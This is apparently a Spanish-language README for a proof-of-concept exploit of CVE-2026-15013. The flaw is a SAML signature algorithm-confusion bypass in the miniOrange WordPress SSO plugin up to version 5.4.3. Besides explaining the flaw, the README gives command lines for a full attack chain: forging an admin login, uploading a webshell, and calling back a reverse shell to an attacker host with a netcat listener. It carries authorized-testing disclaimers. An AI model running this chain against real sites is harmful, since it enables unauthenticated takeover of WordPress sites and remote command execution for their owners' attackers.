
Exploit para CVE-2026-15013: bypass de autenticación SAML no autenticado mediante confusión de algoritmos. Forja respuestas SAML para obtener acceso de administrador e implementar webshell/reverse shell. Para pruebas autorizadas.
Prueba de concepto para CVE-2026-15013: bypass de autenticación no autenticado mediante confusión de algoritmo de firma SAML (HMAC-SHA1) en el plugin de WordPress SAML Single Sign On – SSO Login de miniOrange (versiones hasta la 5.4.3 inclusive).
Solo pruebas autorizadas. Utilice este código únicamente en sistemas de su propiedad o sobre los que tenga permiso explícito para realizar pruebas. El acceso no autorizado a sistemas informáticos es ilegal.
| Rol | |
|---|---|
| Descubridor de la vulnerabilidad | lhking (acreditado en el registro CVE) |
| CVE / CNA | Wordfence |
| Este repositorio | Reproducción de laboratorio independiente / automatización del PoC (no el descubrimiento original) |
Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-15013
Mo_SAML_Utilities::mo_saml_cast_key() confía en el algoritmo SignatureMethod del SAMLResponse controlado por el atacante. Cuando se establece en HMAC-SHA1, el plugin reformatea la clave pública RSA del IdP como un secreto compartido HMAC y verifica la firma con ella. Cualquiera que pueda leer el certificado del IdP (a menudo metadatos públicos) puede falsificar una aserción válida para cualquier usuario existente de WordPress, incluidos los administradores.
Corregido en 5.4.4+ (algoritmos inseguros / HMAC rechazado).
9.8 CRÍTICO — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
openssl (para el certificado a clave pública)Instalar dependencias:
pip install -r requirements.txt
Cadena completa (enumeración, login HMAC, admin, webshell):
python3 exploit.py -u https://TARGET.example
Shell inversa opcional (iniciar listener primero: nc -lvnp 4444):
python3 exploit.py -u https://TARGET.example --lhost YOUR_IP --lport 4444
Solo login (sin shell):
python3 exploit.py -u https://TARGET.example --no-shell
Anulaciones manuales:
python3 exploit.py -u https://TARGET.example \
--issuer https://idp.example/realms/xxx \
--nameid admin \
-k ./idp-pubkey.pem
exp/shell.php?c=id)--lhostEste proyecto es solo para fines educativos y de investigación de seguridad autorizada. Los autores y colaboradores no son responsables del uso indebido. Obtenga siempre permiso por escrito antes de probar sistemas de terceros. La vulnerabilidad original fue reportada mediante divulgación responsable; este repositorio solo demuestra la reproducción para aprendizaje y validación defensiva.
Para uso en investigación. Sin garantía.
| Flag | Descripción |
|---|
-u, --url | URL base de WordPress (obligatorio) |
-k, --hmac-key | Archivo de clave pública o certificado PEM; si está vacío, se obtiene de los metadatos del IdP |
--issuer | Anular el emisor del IdP |
--acs | Anular la URL de ACS |
--nameid | Forzar un nombre de usuario específico de WordPress |
--lhost / --lport | Callback de shell inversa (puerto predeterminado 4444) |
--no-shell | Detenerse tras la sesión de administrador |
--no-reverse | Subir la shell pero no activar la reversa |